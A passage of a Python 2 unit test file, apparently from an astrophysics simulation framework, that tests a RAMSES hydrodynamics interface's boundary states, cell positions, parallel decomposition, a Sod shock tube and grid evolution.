error = instance.set_boundary_state(
i,1,1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
1 # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i, 1, 1,
1
)
print rho, rhovx, rhovy, rhovz, rhoen, error
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest13(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,2,2,100.0,0,0)
instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic")
instance.commit_parameters()
for i in [1,2]:
for j in [1,2]:
error = instance.set_boundary_state(
i,1,1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
j # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i, 1,1,
j
)
print j
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest14(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(5,6,7,100.0,100.0,100.0)
instance.set_boundary("interface","interface","interface","interface","interface","interface")
instance.commit_parameters()
x1range = (2,6,7)
x2range = (5+4,2,7)
x3range = (5+4,6+4,2)
for xrange, j in zip([x1range, x1range, x2range, x2range, x3range, x3range], [1,2,3,4,5,6]):
for i0 in range(xrange[0]):
for j0 in range(xrange[1]):
for k0 in range(xrange[2]):
i = (i0 * (xrange[2] * xrange[1])) + (j0 * xrange[2]) + k0
print "boundary:", j, i0+1, j0+1, k0+1
error = instance.set_boundary_state(
i0+1, j0+1, k0+1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
j
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0+1, j0+1, k0+1, # index
j
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest15(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,5,4,100.0,100.0, 100.0)
instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic")
instance.commit_parameters()
dx = 100.0 / 100.0
dy = 100.0 / 5.0
dz = 100.0 / 4.0
for i in [1,2]:
x,y,z,error = instance.get_boundary_position_of_index(
i, 1, 1,
1
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) - (i * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz))
def xtest16(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,5,4,100.0,100.0, 100.0)
instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic")
instance.commit_parameters()
dx = 100.0 / 100.0
dy = 100.0 / 5.0
dz = 100.0 / 4.0
for i in [1,2]:
x,y,z,error = instance.get_boundary_position_of_index(
i,1,1,
2
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, 100.0 + (0.5 * dx) + ((i-1) * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz))
def xtest17(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(100,5,4,100.0,100.0, 100.0)
instance.set_boundary("interface","interface","interface","interface","periodic","periodic")
instance.commit_parameters()
dx = 100.0 / 100.0
dy = 100.0 / 5.0
dz = 100.0 / 4.0
for i in [1,2]:
for j in range(1,6):
x,y,z,error = instance.get_boundary_position_of_index(
i, j, 1,
2
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, 100.0 + (0.5 * dx) + ((i-1) * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-1) * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz))
for i in range(1, 100 + 4 + 1):
for j in [1,2]:
x,y,z,error = instance.get_boundary_position_of_index(
i, j, 1,
3
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, 0.0 - ((0.5 * dy) + ((j-1) * dy)))
self.assertAlmostRelativeEquals(z, (0.5 * dz))
x,y,z,error = instance.get_boundary_position_of_index(
i, j, 1,
4
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, 100.0 + (0.5 * dy) + ((j-1) * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz))
def xtest18(self):
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.setup_mesh(3, 3, 3, 6,12,18)
instance.set_boundary("interface","interface","interface","interface","interface","interface")
instance.commit_parameters()
dx = 6.0 / 3.0
dy = 12.0 / 3.0
dz = 18.0 / 3.0
for i in [1,2]:
for j in range(1,3+1):
for k in range(1,3+1):
x,y,z,error = instance.get_boundary_position_of_index(
i, j, k,
2
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, 6.0 + (0.5 * dx) + ((i-1) * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-1) * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz))
for i in range(1,3 + 4 +1):
for j in [1,2]:
for k in range(1,3+1):
x,y,z,error = instance.get_boundary_position_of_index(
i, j, k,
3
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, 0.0 - ((0.5 * dy) + ((j-1) * dy)))
self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz))
x,y,z,error = instance.get_boundary_position_of_index(
i, j, k,
4
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, 12.0 + (0.5 * dy) + ((j-1) * dy))
self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz))
for i in range(1,3 + 4 +1):
for j in range(1,3 + 4 +1):
for k in [1,2]:
x,y,z,error = instance.get_boundary_position_of_index(
i, j, k,
5
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-2-1) * dy))
self.assertAlmostRelativeEquals(z, 0.0 - ((0.5 * dz) + ((k-1) * dz)))
x,y,z,error = instance.get_boundary_position_of_index(
i, j, k,
6
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx))
self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-2-1) * dy))
self.assertAlmostRelativeEquals(z, 18.0 + (0.5 * dz) + ((k-1) * dz))
def xtest19(self):
results = []
instance=self.new_instance(RamsesInterface)
instance.initialize_code()
instance.commit_parameters()
nx, ny, nz, error = instance.get_parallel_decomposition()
self.assertEquals(error, 0)
self.assertEquals(nx, 1)
self.assertEquals(ny, 1)
self.assertEquals(nz, 1)
error = instance.set_parallel_decomposition(2,1,1)
self.assertEquals(error, -1)
def xtest20(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 4)
instance.initialize_code()
nx, ny, nz, error = instance.get_parallel_decomposition()
self.assertEquals(error, 0)
self.assertEquals(nx, 0)
self.assertEquals(ny, 0)
self.assertEquals(nz, 0)
error = instance.set_parallel_decomposition(2,1,2)
self.assertEquals(error, 0)
nx, ny, nz, error = instance.get_parallel_decomposition()
self.assertEquals(error, 0)
self.assertEquals(nx, 2)
self.assertEquals(ny, 1)
self.assertEquals(nz, 2)
error = instance.set_parallel_decomposition(10,3,2)
self.assertEquals(error, -1)
def xtest21(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 2)
instance.initialize_code()
error = instance.set_parallel_decomposition(1,2,1)
self.assertEquals(error, 0)
instance.setup_mesh(10,30,10,100.0, 300.0, 100.0)
instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic")
instance.commit_parameters()
for boundary_index in [1,2]:
for i0 in range(1,2):
for j0 in range(1, 30+1):
i = j0 * 30 + i0
error = instance.set_boundary_state(
i0, j0, 1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundary_index # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, 1,
boundary_index
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest22(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 2)
instance.initialize_code()
error = instance.set_parallel_decomposition(2,1,1)
self.assertEquals(error, 0)
instance.setup_mesh(10,30,10,100.0, 300.0, 100.0)
instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic")
instance.commit_parameters()
for boundary_index in [1,2]:
for i0 in range(1,2):
for j0 in range(1, 30+1):
i = j0 * 30 + i0
error = instance.set_boundary_state(
i0, j0, 1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundary_index # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, 1,
boundary_index
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest23(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 3)
instance.initialize_code()
error = instance.set_parallel_decomposition(3,1,1)
self.assertEquals(error, 0)
instance.setup_mesh(12,20,10,100.0, 300.0, 100.0)
instance.set_boundary("interface","interface","interface","interface","periodic","periodic")
instance.commit_parameters()
for boundaryindex in [3,4]:
for i0 in range(1,12+4+1):
for j0 in [1,2]:
i = (i0 * 15) + j0
error = instance.set_boundary_state(
i0,j0,1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundaryindex # boundary
)
print i0, j0
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, 1,
boundaryindex
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest24(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 3)
instance.initialize_code()
error = instance.set_parallel_decomposition(1,3,1)
self.assertEquals(error, 0)
instance.setup_mesh(12,30,10,100.0, 300.0, 100.0)
instance.set_boundary("interface","interface","interface","interface","periodic","periodic")
instance.commit_parameters()
for boundaryindex in [3,4]:
for i0 in range(1,12+4+1):
for j0 in [1,2]:
i = (i0 * 15) + j0
error = instance.set_boundary_state(
i0,j0,1, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundaryindex # boundary
)
print i0, j0
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, 1,
boundaryindex
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest25(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 3)
instance.initialize_code()
error = instance.set_parallel_decomposition(1,3,1)
self.assertEquals(error, 0)
instance.setup_mesh(6,5,5,6.0,5.0,5.0)
instance.set_boundary("interface","interface","interface","interface","interface","interface")
instance.commit_parameters()
for boundaryindex in [5,6]:
for i0 in range(1, 6+4+1):
for j0 in range(1, 5+4+1):
for z0 in[1,2]:
i = (i0 * (5*4)) + (j0 * 4) + z0
error = instance.set_boundary_state(
i0,j0,z0, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundaryindex # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, z0,
boundaryindex
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest26(self):
results = []
instance=self.new_instance(RamsesInterface, number_of_workers = 9)
instance.initialize_code()
error = instance.set_parallel_decomposition(3,3,1)
instance.setup_mesh(6,6,5,6.0,6.0,5.0)
self.assertEquals(error, 0)
instance.set_boundary("interface","interface","interface","interface","interface","interface")
instance.commit_parameters()
for boundaryindex in [5,6]:
for i0 in range(1,6+4+1):
for j0 in range(1,6+4+1):
for z0 in [1,2]:
i = (i0 * (5*4)) + (j0 * 4) + z0
error = instance.set_boundary_state(
i0,j0,z0, # index
1.0 * (i+1), # density
2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum
5.0 * (i+1), # energy
boundaryindex # boundary
)
self.assertEquals(error, 0)
rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state(
i0, j0, z0,
boundaryindex
)
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(rho, 1.0 * (i+1))
self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1))
self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1))
self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1))
self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1))
def xtest27(self):
instance=RamsesInterface()
instance.initialize_code()
gamma, error = instance.get_gamma()
self.assertAlmostRelativeEquals(gamma, 5.0 / 3.0)
instance.set_gamma(1.3)
gamma, error = instance.get_gamma()
self.assertEquals(error, 0)
self.assertAlmostRelativeEquals(gamma, 1.3)
instance.stop()
class TestSodShocktube(TestWithMPI):
def xtest0(self):
N=100
gamma=5/3.
g=(gamma-1)/(gamma+1)
b=(gamma-1)/2/gamma
instance=RamsesInterface()
instance.initialize_code()
instance.setup_mesh(N,N/10,N/10,1.,0.1,0.1)
instance.commit_parameters()
x,y,z=numpy.indices( (N,N/10,N/10) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
gamma=5./3.
rho=0.125*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=(0.1/(gamma-1))*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
x,y,z=numpy.indices( (N/2,N/10,N/10) )
x=x.flatten()+1
y=y.flatten()+1
z=z.flatten()+1
rho=1.*numpy.ones_like(x)
rhvx=0.*numpy.ones_like(x)
rhvy=0.*numpy.ones_like(x)
rhvz=0.*numpy.ones_like(x)
en=(1./(gamma-1))*numpy.ones_like(x)
instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en)
instance.initialize_grid()
instance.evolve_model(0.2)
x=numpy.array([0.1,0.9,0.6,0.8])
y=0.05*numpy.ones_like(x)
z=0.05*numpy.ones_like(x)
i,j,k,err=instance.get_index_of_position(x,y,z)
rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(i,j,k)
vel=numpy.sqrt((rhovx**2+rhovy**2+rhovz**2))/rho
pres=(gamma-1)*(en-0.5*rho*vel**2)
u=pres/(gamma-1)/rho
rhoexp=numpy.zeros_like(x)
rhoexp[0]=1.
rhoexp[1]=0.125
rhoexp[2]=rho[0]*(pres[2]/pres[0])**(1/gamma)
rhoexp[3]=rho[1]*(pres[3]+g*pres[1])/(pres[1]+g*pres[3])
for i in range(len(rho)):
self.assertAlmostEqual(rhoexp[i],rho[i],2)
class TestRamses(TestWithMPI):
def xtest0(self):
instance=self.new_instance(Ramses)
instance.initialize_code()
instance.stop()
def xtest1(self):
instance=self.new_instance(Ramses)
instance.parameters.mesh_size = (10,10,5)
instance.parameters.length_x = 1.0 | generic_unit_system.length
instance.parameters.length_y = 1.0 | generic_unit_system.length
instance.parameters.length_z = 1.0 | generic_unit_system.length
instance.parameters.x_boundary_conditions = "periodic","periodic"
instance.parameters.y_boundary_conditions = "periodic","periodic"
instance.parameters.z_boundary_conditions = "periodic","periodic"
self.assertEquals(len(list(instance.itergrids())),1)
grid = datamodel.Grid(10,10,10)
grid.rho = 0.4 | generic_unit_system.density
grid.rhovx = 0.1 | generic_unit_system.momentum_density
grid.rhovy = 0.0 | generic_unit_system.momentum_density
grid.rhovz = 0.0 | generic_unit_system.momentum_density
grid.energy = 0.0 | generic_unit_system.energy_density
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.initialize_grid()
channel = instance.grid.new_channel_to(grid)
channel.copy()
self.assertEquals(grid[1][1][0].rho, 0.4 | generic_unit_system.density)
for x in grid[1].rho.value_in(generic_unit_system.density).flatten():
self.assertEquals(x, 0.4)
#instance.evolve_model(0.12 | generic_unit_system.time)
#for x in instance.grid.rho.value_in(generic_unit_system.density).flatten():
# self.assertEquals(x, 0.1)
#instance.evolve_model(10.0 | generic_unit_system.time)
#for x in instance.grid.rho.value_in(generic_unit_system.density).flatten():
# self.assertEquals(x, 0.1)
instance.stop()
def xtest2(self):
instance=self.new_instance(Ramses)
instance.parameters.mesh_size = (3,3,3)
instance.parameters.length_x = 1.0 | generic_unit_system.length
instance.parameters.length_y = 1.0 | generic_unit_system.length
instance.parameters.length_z = 1.0 | generic_unit_system.length
instance.parameters.x_boundary_conditions = "periodic","periodic"
instance.parameters.y_boundary_conditions = "periodic","periodic"
instance.parameters.z_boundary_conditions = "periodic","periodic"
grid = datamodel.Grid(3,3,3)
grid.rho = 0.1 | generic_unit_system.density
grid.rhovx = 0.0 | generic_unit_system.momentum_density
grid.rhovy = 0.0 | generic_unit_system.momentum_density
grid.rhovz = 0.0 | generic_unit_system.momentum_density
grid.energy = 1.0 | generic_unit_system.energy_density
channel = grid.new_channel_to(instance.grid)
channel.copy()
print instance.grid[1].rho
self.assertEquals(instance.grid[1][1][0].rho, 0.1 | generic_unit_system.density)
for x in instance.grid[1].rho.value_in(generic_unit_system.density).flatten():
self.assertEqual(x, 0.1)
instance.evolve_model(1.0 | generic_unit_system.time)
for x in instance.grid.rho.value_in(generic_unit_system.density).flatten():
self.assertEquals(x, 0.1)
instance.evolve_model(10.0 | generic_unit_system.time)
for x in instance.grid.rho.value_in(generic_unit_system.density).flatten():
self.assertEquals(x, 0.1)
instance.stop()
def xtest3(self):
instance=self.new_instance(Ramses)
instance.parameters.mesh_size = (5,5,5)
instance.parameters.length_x = 1.0 | generic_unit_system.length
instance.parameters.length_y = 1.0 | generic_unit_system.length
instance.parameters.length_z = 1.0 | generic_unit_system.length
instance.parameters.x_boundary_conditions = "periodic","periodic"
instance.parameters.y_boundary_conditions = "periodic","periodic"
instance.parameters.z_boundary_conditions = "periodic","periodic"
grid = datamodel.Grid(5,5,5)
grid.rho = 0.1 | generic_unit_system.density
grid.rhovx = 0.0 | generic_unit_system.momentum_density
grid.rhovy = 0.0 | generic_unit_system.momentum_density
grid.rhovz = 0.0 | generic_unit_system.momentum_density
grid.energy = 1.0 | generic_unit_system.energy_density
channel = grid.new_channel_to(instance.grid)
channel.copy()
self.assertEquals((5,5,5), instance.acceleration_grid.shape)
acc_grid = datamodel.Grid(5,5,5)
acc_grid.ax = 1 | generic_unit_system.acceleration
acc_grid.ay = 1 | generic_unit_system.acceleration
acc_grid.az = 1 | generic_unit_system.acceleration
#self.assertEquals(acc_grid.acceleration[0][0][0], ( 1,1,1) | generic_unit_system.acceleration)
channel = acc_grid.new_channel_to(instance.acceleration_grid)
channel.copy()
instance.evolve_model(0.1 | generic_unit_system.time)
self.assertAlmostRelativeEquals(instance.grid.rho, grid.rho);
self.assertAlmostRelativeEquals(instance.grid.rhovx, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density);
self.assertAlmostRelativeEquals(instance.grid.rhovy, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density);
self.assertAlmostRelativeEquals(instance.grid.rhovz, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density);
instance.evolve_model(0.3 | generic_unit_system.time)
print instance.model_time
self.assertAlmostRelativeEquals(instance.grid.rho, grid.rho);
self.assertAlmostRelativeEquals(instance.grid.rhovx, grid.rho * instance.model_time * acc_grid.ax,2);
self.assertAlmostRelativeEquals(instance.grid.rhovy, grid.rho * instance.model_time * acc_grid.ay,2);
self.assertAlmostRelativeEquals(instance.grid.rhovz, grid.rho * instance.model_time * acc_grid.az,2);
instance.stop()
def xtest4(self):
converter = generic_unit_converter.ConvertBetweenGenericAndSiUnits(
1 | units.parsec,
1 | units.Myr,
1 | units.MSun
)
instance=self.new_instance(Ramses, unit_converter = converter)
instance.parameters.mesh_size = (3,3,3)
instance.parameters.length_x = 1.0 | units.parsec
instance.parameters.length_y = 1.0 | units.parsec
instance.parameters.length_z = 1.0 | units.parsec
instance.parameters.x_boundary_conditions = "periodic","periodic"
instance.parameters.y_boundary_conditions = "periodic","periodic"
instance.parameters.z_boundary_conditions = "periodic","periodic"
instance.commit_parameters()
density = units.MSun / (units.parsec ** 3)
grid = datamodel.Grid(3,3,3)
grid.rho = 0.1 | density
grid.rhovx = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 )
grid.rhovy = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 )
grid.rhovz = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 )
grid.energy = 1.0 | units.MSun / (units.parsec * units.Myr ** 2)
channel = grid.new_channel_to(instance.grid)
channel.copy()
print instance.grid[1].rho
self.assertAlmostRelativeEquals(instance.grid[1][1][0].rho, 0.1 | density)
for x in instance.grid[1].rho.value_in(density).flatten():
self.assertAlmostRelativeEquals(x, 0.1)
instance.evolve_model(1.0 | units.Myr)
for x in instance.grid.rho.value_in(density).flatten():
self.assertAlmostRelativeEquals(x, 0.1)
instance.evolve_model(10.0 | units.Myr)
for x in instance.grid.rho.value_in(density).flatten():
self.assertAlmostRelativeEquals(x, 0.1)
instance.stop()
def xtest5(self):
instance=self.new_instance(Ramses)
instance.parameters.mesh_size = (10 , 4, 4)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("interface", "outflow")
instance.parameters.y_boundary_conditions = ("periodic", "periodic")
instance.parameters.z_boundary_conditions = ("periodic", "periodic")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = 0.1 | momentum
grid.rhovy = 0.0 | momentum
grid.rhovz = 0.0 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
#instance.grid.boundaries.left.
xbound1 = instance.get_boundary_grid('xbound1')
self.assertEquals(xbound1.shape, (2,4,4))
memxbound1 = xbound1.copy()
memxbound1.rho = 0.02 | density
memxbound1.rhovx = 0.2 | momentum
memxbound1.rhovy = 0.0 | momentum
memxbound1.rhovz = 0.0 | momentum
memxbound1.energy = p / (gamma - 1)
memxbound1.energy += 0.5 * (memxbound1.rhovx ** 2 + memxbound1.rhovy ** 2 + memxbound1.rhovz ** 2) / memxbound1.rho
channel = memxbound1.new_channel_to(xbound1)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set())
rho = instance.grid.rho[...,0,0]
print rho
print instance.model_time
self.assertAlmostRelativeEquals(rho[-1], 0.01 | density)
self.assertTrue(rho[0] > 0.01 | density)
self.assertTrue(instance.grid.rhovx[0,0,0] > 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovx[-1,0,0] , 0.1 | momentum)
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
print instance.model_time
rho = instance.grid.rho[...,0,0]
print rho
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], 0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest6(self):
instance=self.new_instance(Ramses)
instance.parameters.mesh_size = (10 , 4, 4)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("outflow", "interface")
instance.parameters.y_boundary_conditions = ("periodic", "periodic")
instance.parameters.z_boundary_conditions = ("periodic", "periodic")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = -0.1 | momentum
grid.rhovy = 0.0 | momentum
grid.rhovz = 0.0 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
#instance.grid.boundaries.left.
xbound = instance.get_boundary_grid('xbound2')
self.assertEquals(xbound.shape, (2,4,4))
memxbound = xbound.copy()
memxbound.rho = 0.02 | density
memxbound.rhovx = -0.2 | momentum
memxbound.rhovy = 0.0 | momentum
memxbound.rhovz = 0.0 | momentum
memxbound.energy = p / (gamma - 1)
memxbound.energy += 0.5 * (memxbound.rhovx ** 2 + memxbound.rhovy ** 2 + memxbound.rhovz ** 2) / memxbound.rho
channel = memxbound.new_channel_to(xbound)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set())
rho = instance.grid.rho[...,0,0]
print rho
print instance.model_time
self.assertAlmostRelativeEquals(rho[0], 0.01 | density)
self.assertTrue(rho[-1] > 0.01 | density)
self.assertTrue(instance.grid.rhovx[-1,0,0] < -0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovx[0,0,0] , -0.1 | momentum)
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
rho = instance.grid.rho[...,0,0]
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], -0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest7(self):
instance=self.new_instance(Ramses, number_of_workers = 2)
instance.set_parallel_decomposition(1,2,1)
instance.parameters.mesh_size = (10,4,4)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("interface", "outflow")
instance.parameters.y_boundary_conditions = ("periodic", "periodic")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
